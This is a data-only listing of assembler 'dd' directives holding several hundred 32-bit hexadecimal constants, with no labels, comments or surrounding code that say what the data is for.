dd 8CE9870Ch, 0F2506AC7h, 72019874h, 60F7A48Bh, 0E95C0C8Fh
dd 0D1926CAAh, 2B2E360Ch, 63ECB473h, 2CEB7D2Ah, 17AA7224h
dd 0BE54558Eh, 89A8A6ABh, 87180685h, 3E535C2Ah, 0C3AAE389h
dd 20EB4313h, 0E973A81Ch, 7B72493Ch, 0FAB97267h, 653E43D9h
dd 0F1E39906h, 489CCBFEh, 0D1348221h, 2D8FC8F0h, 4C663A40h
dd 0F11C0D58h, 30228380h, 0EAB259CAh, 0D7881E40h, 6948E958h
dd 17380195h, 6FEC7C47h, 91B58006h, 6F0350CAh, 0A87889C9h
dd 0B8BABDCh, 9BF188C0h, 7706F422h, 53B2E91Ch, 99CB4C33h
dd 14DF1A31h, 0DECF4D24h, 0D22DAABAh, 0FAEB07D1h, 0C368C1E1h
dd 781C630Ch, 68144620h, 18E33B54h, 0D38886DAh, 0A92B0AB0h
dd 0D202AC7Eh, 61642240h, 52338898h, 552E4342h, 287B2110h
dd 1B5013B9h, 0C38B0062h, 416724FBh, 0F3004B77h, 99C9404Eh
dd 925BDD29h, 0F7E91800h, 835F3C66h, 0F91BFCA2h, 9A478A4Ch
dd 485864EAh, 36168259h, 6FAA2061h, 0CC3A4CEBh, 485D3501h
dd 0E8F6FD82h, 0EF5758DBh, 0FB5570CDh, 0E7685742h, 24A16616h
dd 820C04E9h, 286FC680h, 8D3DF860h, 218AEDDDh, 5EB7BF01h
dd 0A102C5E5h, 0AF2CEF80h, 0EFC66AC3h, 58C3099Fh, 0E08EDC1h
dd 79DD7FA2h, 1C6F061Fh, 0CE20FD8Bh, 2E016F18h, 0D5087406h
dd 62AAC151h, 0D10181A3h, 0C09B335Ah, 0D060631h, 110E685Ch
dd 14F189CFh, 855BAC52h, 0C8976A4Eh, 4CB2B9C1h, 0F8CF01D0h
dd 690F92A0h, 6D808621h, 418D3394h, 770A0CC9h, 87299005h
dd 314CCCDDh, 0EA0D06DAh, 285C446Eh, 8481DCE0h, 0BE24C0DDh
dd 62F07488h, 0F8D6F726h, 0DF590F00h, 58EEC16Fh, 0ED04BF05h
dd 0C1275103h, 0CC04ACFBh, 0C4DE91Fh, 805A07E6h, 0F53028CDh
dd 0F0DDF691h, 88AB14EDh, 4D57E8EEh, 9266DE40h, 28AA09Ch
dd 83C34C30h, 61878F9Eh, 124640Dh, 5EC27E6h, 0A6442054h
dd 1100A008h, 0EA7C913Ah, 0CE18E2FDh, 0FBB2A00Bh, 0FA4E1D61h
dd 1ACC6976h, 0F3FD780h, 5EB070CBh, 995F430Bh, 3040314h
dd 0C3550083h, 502056CDh, 0BE98DA89h, 8F2AD55h, 0E668B0E9h
dd 5A624050h, 6CB201F7h, 5D9C7088h, 6213B1F1h, 0E8BF89Eh
dd 3D90665Ch, 87915E68h, 8149E820h, 38A970B6h, 44B2595Fh
dd 3F3A46F6h, 0ED06B717h, 4E3477F4h, 5842390Ch, 601C612h
dd 265A6B99h, 0C9C7312Ch, 14451903h, 3080B77Bh, 0CFD38E66h
dd 33694FF8h, 51FBB801h, 290840B9h, 8B2559CBh, 0DAF5133Ch
dd 9BE34653h, 0EFEE00F9h, 122E361h, 31E9DE0Ch, 1041A8Bh
dd 0C07024E7h, 0D3FE03E0h, 0C6280CC8h, 0F52C5802h, 88D84BE9h
dd 2F4F9091h, 0D33CB851h, 0D0A6EFE0h, 7E8828Dh, 91AE5A21h
dd 0F7528391h, 0E9160814h, 280B7FE7h, 383896D8h, 0E806B72Ch
dd 0CF7B5CE9h, 9933E277h, 0F02088CDh, 0FD0F659h, 0C8FEBA2Ch
dd 0E93619C6h, 97D54450h, 0FDDF7D3Dh, 8716F94Ah, 97339A4Ah
dd 4C06311Bh, 0D28D840Dh, 0CD249E7h, 334070E7h, 6C01355Ch
dd 7A80095Eh, 0AD003762h, 0A8546286h, 89C934F6h, 0F39B08C1h
dd 0A64BD612h, 245D16D1h, 435FE931h, 0C300553Dh, 7C0436C3h
dd 0FAEB2912h, 935E9A57h, 0BE8F3C22h, 0FB33681h, 1E13031Ah
dd 0F609FD26h, 418FE44Fh, 8A348B25h, 0BD197D53h, 0C52C7136h
dd 21E4D5C5h, 745D7DEFh, 0FBE910D1h, 0F7511417h, 815901CEh
dd 6F7449C9h, 41DADC20h, 1809E7E8h, 843435F0h, 71B4061Ch
dd 0B90802C2h, 0D6019CF4h, 8399F98Eh, 0DE2470F6h, 9AD3586Ch
dd 0BE560350h, 3D8B7DE0h, 0DE2C230h, 2C5EF089h, 0C1E9C201h
dd 87EDE9h, 150893BEh, 0CD814C95h, 0E3639E02h, 17E8293Bh
dd 6B608FE9h, 6D0F68CFh, 614A4E8Eh, 3D148D8Fh, 622B02B0h
dd 50467D5Ah, 2EC634C6h, 75A1C213h, 0BA0948E6h, 208A4F15h
dd 3D3428AEh, 0D6293459h, 0FA081136h, 0C092E913h, 0B05066E9h
dd 64E61852h, 5D1721Fh, 0DDC9D5F7h, 9C7E87E4h, 0E4FE6376h
dd 835E400Ch, 4147B6C2h, 12C20050h, 27907877h, 52A52C61h
dd 145FF68h, 4AEAC759h, 7A188B66h, 81DD7909h, 3E07CD02h
dd 604D718Ch, 2D11CCAh, 0FD29AFC4h, 177869E9h, 0C3486678h
dd 0E5EB0D1Fh, 0B8E8D264h, 553A4862h, 1872BF0Fh, 0CF24476Ch
dd 0E95E8D09h, 5AAF2159h, 0BDC3BE2Ch, 0EF795BC1h, 0C331168Bh
dd 0EDEBB86h, 19F2E1B8h, 98EFEBE6h, 0A7D27E0Ch, 78790B24h
dd 4840F5E9h, 423970BFh, 38A6E9B9h, 9C577C86h, 8156E2E2h
dd 6FB48780h, 6F984AA9h, 6453D4Fh, 9F2020B5h, 64944129h
dd 1EC3A667h, 0C0A8B6C1h, 69408EEh, 626E605h, 0D8F6099Ah
dd 2008498Dh, 0A0982002h, 0D3EE8005h, 0CB53A7E9h, 949455C4h
dd 74358EE3h, 93CD82C5h, 4760DAA9h, 8082C790h, 5D6DC3C2h
dd 8942139Ah, 519C2CD9h, 80A62CF4h, 92216527h, 0C9D9614Ch
dd 21434CA0h, 0BDBD6263h, 78100253h, 865B4DE2h, 350F0CF0h
dd 8571DE89h, 88F7C1F4h, 0A0C360DDh, 46105269h, 5651005Ah
dd 484D8468h, 0A2CE959h, 8351CDC1h, 7C290CA5h, 5D530948h
dd 1129C2E1h, 0CB920E8Eh, 0D499215Ch, 0BA100449h, 18034DC0h
dd 0E6D34D65h, 0DABA0052h, 81783253h, 622667EAh, 0E21F1526h
dd 42903D41h, 1C97D2F7h, 425252C9h, 4EE8357h, 0C2546A72h
dd 0FE4829C8h, 7C4D4AEDh, 94A8235Fh, 54E0E6A7h, 33C06F05h
dd 311A3302h, 0A60D066Bh, 908D310h, 0C04CE99Ch, 7FB28D27h
dd 8EA25409h, 0F740F101h, 729402C1h, 2C242452h, 9AA12848h
dd 9CB08h, 0AB7B8BBEh, 0CE2C310Eh, 0E9610C59h, 0F690AE6h
dd 7E1A56CBh, 0C7839A68h, 833C88A1h, 9BE951EEh, 8C385947h
dd 0D7E65FC9h, 466A6813h, 91803735h, 0BE15D2h, 2E3C17Dh
dd 0CD0F381h, 987B542Ch, 8F79061Eh, 0E036B16Ch, 15BD889h
dd 0F9584CC7h, 0EB570C31h, 0CFF8195Eh, 8A12D128h, 645A7D59h
dd 0FDF1D141h, 5284C31Fh, 715E28D2h, 4AE98F20h, 59CF27F8h
dd 8E7C10Eh, 0C496081h, 4BE93C12h, 0B85400DBh, 731C2BA6h
dd 0DF570501h, 0C321B9FBh, 0F312F72Ch, 9E3014F5h, 21C5D652h
dd 0D0C352F3h, 850FDB89h, 5A44EB26h, 540477CAh, 95D00BE9h
dd 3D534EBFh, 0AB247159h, 872997E0h, 9F492D4h, 2A96ACC6h
dd 0B0D32E8Bh, 4B5451E0h, 0E9AB3359h, 28026FBAh, 578FC8EFh
dd 81E9AE54h, 0E628E2B5h, 27E10B92h, 0F801AF22h, 224762E1h
dd 22338928h, 6AD4DED9h, 7FBD143Fh, 7F13345Ch, 0DCDFE031h
dd 0E7606664h, 0D3C1A0B1h, 8081E0B4h, 0F6A5C2ADh, 0AB0ADA67h
dd 42B3B40Eh, 0D04B70A8h, 51807927h, 1B22B450h, 44FD19E9h
dd 0F37B2CFAh, 0CCDE1325h, 0F2BE7F04h, 80D64895h, 95C63EEh
dd 1ED2683h, 9D31733h, 2D877105h, 3B7FEE7Bh, 746BCA02h
dd 0A6C06EEBh, 5042E35h, 5FFA2152h, 814A0C80h, 0B8A001F2h
dd 0D529B4A2h, 48E9FD5Ah, 7F0C14Ch, 0C906693h, 64D8522Ah
dd 0B383A8ADh, 27171684h, 67B63735h, 0BBD06D48h, 0A73CA22Eh
dd 0EB402932h, 0DFA623C8h, 14505C3Dh, 4888E389h, 0E087CA73h
dd 5E826BB4h, 87530729h, 0F95FA7D3h, 815AB9C9h, 68D231D5h
dd 542C7280h, 812C5D90h, 58F6BD51h, 585B175Dh, 30750C6Ch
dd 0BF2C173Ch, 8ED28CDh, 17BE92Dh, 61C5BF2Fh, 3E2977F8h
dd 3F925FFBh, 0F9504F32h, 6B86029Eh, 0DF620DD9h, 554CA446h
dd 753C044Fh, 0DF8020E9h, 4CC93D1Ah, 0E4065239h, 18549823h
dd 91603F09h, 24618911h, 0D9C1DE58h, 886089D8h, 3F5F445h
dd 16A42767h, 0C81CEF01h, 0C62C02C7h, 0F665C60h, 0F9C858BEh
dd 0BD4D4C7Ah, 42146F81h
dd 1795EC10h, 0E152A6BEh, 0FC85873Dh, 0F0D7299Ch, 7A40B269h
dd 5D002F7h, 2EC3180h, 0BF20DB82h, 0B151C30Eh, 69F8C947h
dd 921E8A54h, 4EA8B9C0h, 78144D6h, 0E203BF1h, 17E16033h
dd 0FAC6076Fh, 908501C1h, 3FB425B9h, 8802E024h, 0FBFA63DAh
dd 1C897C65h, 0BCDC4C91h, 9C2F2505h, 1A404C52h, 271414BAh
dd 6E7ADA93h, 0ACC0FB72h, 11A2378h, 886D968h, 84465B16h
dd 48CF76E9h, 0AA50AD89h, 61082497h, 7EA109Fh, 0D7338FE2h
dd 0C7CB0099h, 2F483Fh, 661EB850h, 0C2312DBAh, 68602AB8h
dd 10F5C679h, 0C746009h, 4B5B7998h, 0F7E8F6F8h, 29447516h
dd 0AA92CF18h, 4CD70936h, 6D91515Dh, 15293659h, 22860CFEh
dd 63BE0056h, 81498513h, 721343E6h, 780B0F37h, 5F2E247Ch
dd 0F420AE89h, 0C814D21Eh, 564108C0h, 0CFB349CFh, 0C181B318h
dd 402E0C3h, 215D1861h, 52A5E45Fh, 1717BC5Bh, 0C91737C1h
dd 120FD9B2h, 412BBBE8h, 550D03AEh, 0FB661CF9h, 1579327Bh
dd 0DECA310Ah, 0D5078664h, 294B5D50h, 89A0899h, 52267928h
dd 0C3FD040h, 14575EF3h, 0F04E014Ah, 0BD5ABF05h, 0C5FDEFD7h
dd 0CA595645h, 14495092h, 7490F483h, 73CC8870h, 0E5E36659h
dd 8079D958h, 0B6528400h, 2E6C049h, 7F6E26E9h, 15C468AFh
dd 5503B123h, 0F2504CBDh, 0E7EAD024h, 184F013Bh, 97E965C1h
dd 295B853Ch, 0EAF020F5h, 0D76FAC0Fh, 0E7C2A148h, 1D04592h
dd 52069ED5h, 3388E1h, 957EC1E9h, 0AD83ABB9h, 273A140Ch
dd 601BAE9h, 60F9295Fh, 0D17CD930h, 0BA1D514Fh, 14116A4Bh
dd 264691CDh, 0BCB10ECh, 4C5D5455h, 79EB32A0h, 8DC1520Ah
dd 0C606A6F2h, 47F0FD09h, 225512EAh, 0E9235D84h, 0B8A3281Dh
dd 0C1291316h, 82C35958h, 5C169605h, 134295D8h, 932E2D22h
dd 110D46C7h, 80FA6CE9h, 6513772Ah, 6C5F44EFh, 1079E318h
dd 800F0C53h, 0D006F5F2h, 0F105C7FBh, 3B2CA78Bh, 0B308FDD5h
dd 1BC62509h, 25F04C49h, 0F759CC5Eh, 0D4D50E6Ch, 0E0A6503Fh
dd 7FA602B0h, 186016BBh, 9C1663E9h, 980B4147h, 8AF7B24Dh
dd 0DB0080AEh, 8153CB62h, 672D0CCEh, 5FE26F4h, 88169870h
dd 970AF389h, 0E853EA59h, 2A685EF5h, 5B813DFCh, 318012A5h
dd 80BA1328h, 656BD12h, 7FC14FDAh, 699AFAEDh, 0D38F366Eh
dd 0CCCA250Bh, 0CE908F50h, 945C942Dh, 5DDD37F2h, 4F5E6017h
dd 0CC0551Ah, 14EB4E92h, 0C821155Fh, 0FA12F68Bh, 2049B4F2h
dd 741E2FFh, 0FD08F95Ch, 8D492FE4h, 0EA2C19C2h, 6277A193h
dd 6655385h, 3229B7ACh, 0B08803ACh, 0F74F0078h, 0ECCF81DFh
dd 5CD44412h, 0D5EA1707h, 1AE9DDB0h, 2FB916Fh, 40410EE7h
dd 0A6E335E1h, 0E90BE80Dh, 6676E08Ch, 67B23852h, 5A2CD43Bh
dd 1D9A1C82h, 59C35DE3h, 3DC41258h, 502C7568h, 8D09EEB0h
dd 40A79A5Eh, 0BB7D246h, 0A2C780E4h, 0EFAB9F0Eh, 0A9E9CF87h
dd 8B580961h, 0E02EB670h, 832654C6h, 2A00AED6h, 0BA7D5704h
dd 174580DFh, 9EA29ADh, 0C9904A8Dh, 6F4C0268h, 0D3E2D274h
dd 0FB4C9E90h, 0E95E8E0Eh, 63C94E2Bh, 54652B02h, 0AB7471E5h
dd 0E9309A5Fh, 2DDC292Eh, 4A069620h, 0ECBD1C98h, 0A7E051DAh
dd 34ECF819h, 5323D031h, 3D10D099h, 114905h, 0B6C72CEh
dd 0E481EED1h, 4E8EB32h, 68351ABBh, 0B652FCE7h, 0E19D70C4h
dd 75DAB809h, 58C68902h, 4A407731h, 4C9CD1E0h, 6DBA70A8h
dd 26FFD35Ch, 1F32BC07h, 0DC9D8146h, 0FCD7E17Dh, 868241C5h
dd 0EB890156h, 3761715Dh, 257E49C3h, 2F6105Ch, 5B41E651h
dd 94A44120h, 0FC07E40Dh, 60B808E2h, 371ADA16h, 0A3EF3E0Ah
dd 40034AB5h, 8190B753h, 4D205BF8h, 7E2C98ACh, 1A1C9402h
dd 55A306F6h, 6EE64AF2h, 0D4EE4C55h, 0BA9DB807h, 65061213h
dd 1227A43Dh, 66068147h, 0E446888Fh, 971528B7h, 0B9568792h
dd 51366841h, 0C4587F23h, 0E286A02h, 66404049h, 0AF2D751Eh
dd 0F54B807Bh, 12CAF6D5h, 8E809A2h, 431F189Eh, 0E46CF380h
dd 7E89B441h, 0BDD830D9h, 1629C2C3h, 655CDF24h, 0C381F017h
dd 0BCDCD031h, 3F0F990Eh, 94353924h, 1601E242h, 0F75EED3Bh
dd 0C41430D7h, 5B8D5802h, 4005E7C1h, 260EA06Bh, 17A46607h
dd 0C6AED07Ch, 0C2CA519h, 8A05429h, 8FFF1BB0h, 290E5412h
dd 5D022463h, 0AE9A1A5Ah, 58492154h, 3B6810B9h, 9E91230h
dd 37D008C6h, 0CB7B79ACh, 680CE719h, 87D8C947h, 0DE82C38Eh
dd 9A0F35Bh, 61A1F573h, 0D33FC9BEh, 12EE8834h, 36998980h
dd 83404AE9h, 8E9C1F1h, 0A8D54046h, 57026596h, 20E9C601h
dd 0FEC2C8C4h, 2D3C4F8Bh, 520CA12Eh, 7301E98Eh, 2C683C88h
dd 0CFD36DABh, 1459E82Ch, 0B2F2CCCFh, 5BCDCDE1h, 0A8074703h
dd 9D9508BCh, 4DE5FAF7h, 2C633B4h, 56BA21BBh, 0D088FE01h
dd 0E5F1A08h, 0FC96B91Ch, 0CB68342h, 60130AF0h, 125F6839h
dd 0A665AF89h, 909209C7h, 57080005h, 0F5685150h, 255C7612h
dd 7042101Fh, 0B55D5C76h, 7C5D55CDh, 98CE4E8Eh, 0A627525Ah
dd 6438102Ah, 6D5DA656h, 0CDC0134Bh, 62E2E11Ah, 1C87CCA1h
dd 0C7CB4AE9h, 910D5695h, 0E0C5B6A9h, 4E7D624Ch, 14266B2Dh
dd 698D91F2h, 0EF4AFCDBh, 4867E725h, 7BE0A776h, 8EBB5D16h
dd 58FC8634h, 0C8FE4403h, 34E3D0F6h, 0A4DCE2Ch, 0C3A0B49h
dd 6C7089Ch, 0E9053106h, 0C181E766h, 694CC74Ah, 73C410A3h
dd 97E5881Fh, 56CC8196h, 5F5AF854h, 9E9C71ACh, 74DBCA42h
dd 669D405Eh, 7B9CD359h, 20B56188h, 3B72FAC2h, 0EA0249E6h
dd 15330BAFh, 0A60194E1h, 9F0B896Dh, 84A3CE1Eh, 40681290h
dd 0F1BFCC47h, 2A95CDB2h, 0FE094DB5h, 92DF6413h, 1436206Eh
dd 5B2E3E98h, 0E62C231h, 825804B9h, 342417BFh, 0E6730304h
dd 6451038h, 0ECA3F864h, 3294F79h, 0E96C046Ah, 0CDAAA41Fh
dd 23C2584Ah, 0AEE5604Dh, 3BBC2756h, 0C1BFDF81h, 3E042B3Ch
dd 0F7E943E9h, 155E013h, 0D174CAC6h, 49BB206Ch, 682EC882h
dd 33095E0Fh, 0B3D05202h, 324CEA73h, 0D3FD3013h, 3DDEF65Bh
dd 0C2255366h, 0CD293182h, 3DC18390h, 83E91997h, 0BCA46405h
dd 65A0D237h, 4D69419Ah, 0B0292058h, 254B6374h, 5E36AE82h
dd 0C80F016Dh, 2D31B668h, 1EB48C42h, 52F76288h, 0D23258h
dd 800467Fh, 8FCE810Eh, 16662B0Fh, 0A03E6C1h, 8B572C63h
dd 73C55258h, 5AB32027h, 9A548D68h, 4CA7201Eh, 0FDF5801Fh
dd 0A628ACFBh, 0BE525D17h, 51C45804h, 0F4A6B107h, 206881CEh
dd 0ED1770F5h, 9C328868h, 206A842h, 7142FA01h, 59406B92h
dd 550423FDh, 0DBF74338h, 0ADE990D1h, 0E726A622h, 28690F8Ch
dd 76DAEDDh, 318706EFh, 0DF31D5F7h, 858FD93h, 75242CD7h
dd 7C0782ADh, 0BF20FB9h, 319B33F0h, 1CB39430h, 7125F9BEh
dd 6054F416h, 61F77753h, 5B2CBA34h, 0E2021D4Fh, 0DC384CB3h
dd 13B2C24h, 428D2B36h, 0BF843045h, 13E80C13h, 19288C21h
dd 0C823CFDh, 1AAC4A95h, 2D2E1200h, 0E8012E02h, 52D809F2h
dd 0D4435E07h, 0B03EC1CBh, 0F5E507F6h, 40C1BCF4h, 0C3482928h
dd 444477FFh, 3B727BF1h, 7C7DEAh, 0AFAA21DDh, 4259CA09h
dd 0EA56F6F5h, 567F0CB0h, 727B60E4h, 311737D5h, 0D8F8ECC1h
dd 0D0451A6Fh, 17081C08h, 89036153h, 881C30C2h, 0F2D5440h
dd 45C56F68h, 535DCD44h, 0DA027212h, 0C1232CE8h, 95E3C3FCh
dd 5145081Eh, 8CAC08E9h, 3844B927h, 2F96ED0Ch, 0BC5CAB8h
dd 1BA62DA4h, 808DE6Ah
dd 272F1086h, 4B1BAF57h, 0D14CC9FCh, 327C50DDh, 13F4B013h
dd 34D609FBh, 0D5750C85h, 9BEF61Ch, 0D1645568h, 66838383h
dd 0CA346918h, 0D6040D7Fh, 1EFD875Bh, 3B5907D9h, 25686C02h
dd 0C0067E53h, 814AD130h, 19FDC900h, 0D9F7784Ch, 338A33E9h
dd 8CB9D32Bh, 8F80720Ch, 0D5AE9D83h, 44F52F6Bh, 89343D0h
dd 0FAF8BAF3h, 0A29CD351h, 0ED8385B0h, 855115A5h, 0C150C6E9h
dd 0F304A89h, 0C39D6159h, 90B21D84h, 1088D83Fh, 73637FF2h
dd 0C156E12Bh, 0A43CDEBAh, 0E8E6D4E4h, 99E9B127h, 5E26A228h
dd 5A120FF3h, 1B2304F3h, 8B0F134Ch, 4105062Ch, 0CA6B010h
dd 4426165h, 64097066h, 0D8292A03h, 5808817Eh, 0AC20E83h
dd 0C040268h, 177252B3h, 83A06CF8h, 1C9102C7h, 0B2E95F82h
dd 51D0E90Dh, 12BFE2A3h, 0B4F40053h, 0E922C06Eh, 0D1193729h
dd 0CCD7D06Eh, 7727E921h, 0C858C2B1h, 257ED630h, 78086CA9h
dd 15F0407h, 522388C8h, 0E942C5B9h, 0D39EADAAh, 0C15563E1h
dd 0F403F325h, 0D81FDFF2h, 4CD02916h, 0AF48305Ah, 8D0B9900h
dd 0A7F3810Ah, 23C46513h, 0D803B209h, 7918C139h, 2070951Eh
dd 771248D4h, 7741F792h, 4E8835Dh, 324C3D2Eh, 0EB023451h
dd 54791BF9h, 2E68EC52h, 0D8F030D6h, 0C2646CE9h, 27B0593Dh
dd 0B6A07735h, 0C30832DEh, 0BAF1E763h, 0F2258906h, 0D9F0827Ah
dd 716C5A29h, 0FDCD147Ch, 367E8B01h, 0C1C7447h, 2F605D20h
dd 0F404EAC1h, 0FE6B806h, 6C2CFCC2h, 3B0A5665h, 0DE59C331h
dd 0E33A5548h, 9881B658h, 2C58B31Eh, 2066570h, 0D62AECC2h
dd 7FBA4B2Bh, 6C53089Bh, 0DCE98296h, 13B7C45Ch, 0D4E8302Ah
dd 50F85E2Bh, 0DD881DE7h, 0DD4B18D2h, 0BF83835Ah, 0D849034Bh
dd 0E536866h, 0EE5C5BDAh, 0B2B95100h, 0AA422E3Dh, 6216628Ch
dd 0FA0B0905h, 170320A6h, 281D76EEh, 660904F0h, 9EB165Ah
dd 0C3866CB3h, 4508AD8Dh, 3BF7BC50h, 4E851A5Bh, 88D5F42Fh
dd 0F27AFF4h, 0DF7B06EBh, 0F2293F10h, 0ABE2C898h, 88325EB1h
dd 4C59FDCEh, 0D6F627DDh, 860E4E93h, 4BF48850h, 43AD59E7h
dd 0FEF8D7F6h, 80775B66h, 84407669h, 18AC9A9Ch, 0E4EB0A7Bh
dd 13E1B551h, 68B6B157h, 8B54C7ABh, 0E9A79049h, 27405A61h
dd 4B51F97Ch, 0AD66E7A7h, 3EB16C94h, 2F16050Ch, 7E760BE1h
dd 4F097D5Ch, 66100242h, 2B4AAB68h, 41DBE5CCh, 598D302Dh
dd 5C79A1BCh, 9D844769h, 4300943h, 0AA8028ECh, 4BB05058h
dd 38F1FADh, 0A92CD40Ch, 43B61E7Eh, 0B6E92B85h, 0FCEEE9B1h
dd 0D1F70919h, 42B36280h, 0E913E010h, 51B36715h, 0F9330D04h
dd 0D6418021h, 362CE310h, 2639FDC1h, 75A40E62h, 0ACC5D152h
dd 1F648845h, 1414B70Eh, 0DAC94AE9h, 9F12E30h, 0D19E95Ah
dd 8FF036C4h, 0FC541540h, 30FE4931h, 6808EF48h, 7526559Fh
dd 870A451Ah, 926E9E9Bh, 4029FCF4h, 831CAD6Eh, 0F0F207Fh
dd 3CD0F684h, 303859EEh, 720C4557h, 3D4F5C63h, 35187105h
dd 17686088h, 14579A7Bh, 4AB2539Dh, 0A4402876h, 2F667726h
dd 0E5EAA6E9h, 1EFC9CC8h, 45735B2Eh, 5F211902h, 9E668211h
dd 467B226Dh, 0E2B35300h, 5D357AB0h, 8D4B2FD7h, 0E7A56073h
dd 4EB96304h, 5784F501h, 0D5CA0812h, 76E95704h, 0E5B0C27h
dd 589AA9E4h, 3166623Bh, 2F9BFB69h, 59CBF846h, 636D0FB4h
dd 0ADC6315Ah, 88133D67h, 0AAF3872Ch, 0CDE8D14Ah, 0F05F06F1h
dd 666B4E22h, 0CC9068FDh, 2737A12Fh, 2DF206BDh, 288FFC2Bh
dd 1CD49AF3h, 0FCD0F793h, 296C1696h, 340B30D7h, 96695C9Ch
dd 4F8376BEh, 5C830202h, 0D495FE9h, 3804D4BDh, 47BB5103h
dd 0FAADD63Bh, 1E83CBDDh, 0FC170F8h, 527F015Dh, 0F067C5FCh
dd 0B6C15BAFh, 37AA3474h, 423FDDE9h, 0FC7827A8h, 0B01B5D4h
dd 0E9B740D7h, 9D5539CDh, 68C11584h, 277AF32Eh, 2818118Fh
dd 0F981F0D8h, 962F5082h, 886489B4h, 0F71D7482h, 8EB7329h
dd 1091C82h, 0FFE285DFh, 0C02C1EA8h, 86273CFEh, 38EED348h
dd 0B4779804h, 4C2F309h, 0E0028FD3h, 880FFECBh, 0D5E91658h
dd 0B1F7E246h, 6553CF67h, 0CE14B552h, 6D4718EBh, 4C5DEB97h
dd 5B887153h, 6841DC48h, 493C1AC8h, 515E5482h, 4E097FE0h
dd 0C74C1624h, 890D0D19h, 0DFF34430h, 6B26583h, 6FF72E82h
dd 7329DDAh, 0D4FA8729h, 715E6C17h, 387F2602h, 4C01D2E9h
dd 4A199525h, 0D8AD2254h, 0D19D790h, 0D32D21F0h, 5821200Bh
dd 64375ACFh, 6BF073DFh, 639002Bh, 503AF781h, 4F600E9Eh
dd 0AF14560Eh, 1C7FA20h, 49880D3Dh, 87658CE9h, 21B5B88Dh
dd 0A87D024Bh, 68C00ECEh, 14904665h, 373ED4A0h, 4BF2FB1h
dd 29EE0926h, 0D0F1DF80h, 0BC54480Dh, 44E9CA05h, 0EA54D01Bh
dd 8827533Ch, 0ECEBE2D3h, 3EF62F7Ch, 1002BE49h, 17CFC681h
dd 136D9363h, 0C0C01AFh, 0F82BB210h, 420296C9h, 0A2E93BCAh
dd 7A7DC862h, 6A98B55Ch, 8080F9C3h, 68CE48CAh, 42F1632Eh
dd 0AD0A55D8h, 3882F29h, 0A5EA31B0h, 96598971h, 0BE171853h
dd 0DB5B0255h, 0DC7CE940h, 20D5A049h, 0C69C4642h, 9C14AC16h
dd 227200Dh, 0BC049124h, 0BFED10Ch, 0DFC5AD12h, 0CC5A5322h
dd 16838F9h, 0BCC6344Fh, 57C1A4D3h, 3D65329Fh, 160C9800h
dd 0C7060DAh, 48060A1Dh, 0C4A21290h, 8B35080Ah, 2F62B1E9h
dd 0A35A6264h, 0FF761A12h, 81A8B592h, 3C9A0095h, 6C017E5Eh
dd 94B6129Dh, 0C5E92A8Ah, 8CBA3EB5h, 8A6E2A1Eh, 88A82425h
dd 0BF6F32C4h, 81C04FA6h, 74E7FF6h, 0F031ECC8h, 6E003B5Eh
dd 125115EAh, 0C2292502h, 643AE6E9h, 9552EE43h, 0E0D30B0Bh
dd 498BD712h, 0C437E917h, 754BDD00h, 0C62588A3h, 14B16CDh
dd 8ADA08ACh, 3347703Ah, 37E7C9C4h, 4380BE33h, 0F0B43F3Ah
dd 542766C0h, 0E2810137h, 4BC67DE1h, 571B6042h, 386DE5E1h
dd 0D27218E8h, 757ABA70h, 30BF7AFBh, 0BB14D994h, 0E81236AAh
dd 0C4D04B0Eh, 3B2FB4C3h, 0F3061873h, 0C6E2D38h, 67952FEh
dd 397240h, 291DD577h, 0EAC15BDAh, 0F204037Ch, 7BC64FCFh
dd 0B9A0FEF8h, 0B7127856h, 8DC73129h, 5F162779h, 0EAD8E099h
dd 1A6C7DEBh, 0CCDA011Ah, 8820809h, 3000AA13h, 0F8058C5h
dd 0EF20EEF5h, 29782DA9h, 8481493Bh, 65924DBEh, 60CE6FC0h
dd 314412ACh, 0C2771CC1h, 0A159A897h, 0E92F5C50h, 5DCD861Ch
dd 46C50382h, 4D1F7942h, 2F6369F1h, 52D4CE41h, 0C807D70h
dd 23D62CFAh, 0C798F801h, 63BA3B95h, 0F9310A98h, 2ACB87B9h
dd 5BAF5D8Ch, 0F18E90A9h, 0F41842AAh, 0DA9E4156h, 15192527h
dd 8901E6E1h, 7B082940h, 47BAB198h, 66488ED7h, 0D834953h
dd 96010E9Ah, 873C29ABh, 7F45B7F0h, 4CE9C50Dh, 423F43F4h
dd 412F689Eh, 6424CCD9h, 0E941CFCAh, 34661059h, 0B0B52348h
dd 0C94009A9h, 0CCE1ED56h, 9C0532h, 0B05059E8h, 0B52F510Ch
dd 1F0AE969h, 38D1C5CCh, 0A45DE953h, 9D125475h, 27F8B8h
dd 2A255F67h, 550E209h, 4B78AF04h, 92C1F7D7h, 4D7D2ED6h
dd 464168C3h, 0BF94D27h, 4DE15A59h, 68095554h, 0EB30602Dh
dd 0A2B73ADBh, 1EBAB5h, 93130EBFh, 0CC001A5Bh, 61D33751h
dd 420A32E9h, 0B0575C22h, 0A414F690h, 0BE38552Bh, 8B41053Fh
dd 3C553DEh, 5E3699A3h, 0E6F831B1h, 2F41314Ah, 79DE3642h
dd 0EEAE3A24h, 39086D82h, 9277A57h, 3A7E0502h, 79BECD0Fh
dd 73DE080h, 5AD629A3h, 0C0E95F12h, 908C12C4h, 4C0E2CF3h
dd 7CCE00E5h, 0E9253473h
dd 9D064120h, 5E037280h, 680666D6h, 4D107FD1h, 0C17254Ch
dd 6EF6944Eh, 2120435Fh, 751068h, 0C15807DDh, 0EE2505E8h
dd 64E51E00h, 0B46B2D48h, 89D8267Bh, 0F1A70BC4h, 15EC18C8h
dd 0C625B30h, 1A3A148Ah, 0EAC20152h, 3B500809h, 26950C1Bh
dd 430685A8h, 134AD18Ch, 0E2C8B60Fh, 0DA21C616h, 0D8312F22h
dd 0EEC0EA40h, 124EBE80h, 86AD927h, 974A377Bh, 0CA206B28h
dd 165E5AB0h, 30070878h, 93835A3Ch, 89099CD6h, 1F4D5B87h
dd 0A434A844h, 227C1565h, 0C9C1515Ah, 78DAAC7Dh, 30A0BCFCh
dd 0DEF70706h, 3201EFE5h, 7767F3FBh, 22242EE9h, 9DB70053h
dd 28E4EF80h, 88245BFCh, 0A03B11E5h, 309580B2h, 4B372674h
dd 208E24AEh, 8C1CC108h, 645F071Eh, 0D65DC982h, 38E10271h
dd 0C115B450h, 0F0528B5h, 0C7C742D8h, 537F0E2Ch, 4D4EA05Dh
dd 0D0F7950Bh, 71F68255h, 595402B5h, 0C45BE440h, 229C7292h
dd 29A72A89h, 4D740E82h, 293E31EBh, 6A4A133h, 10C25244h
dd 32FF0353h, 5D550E67h, 25CDC4EBh, 0E46D6D40h, 0E1318E37h
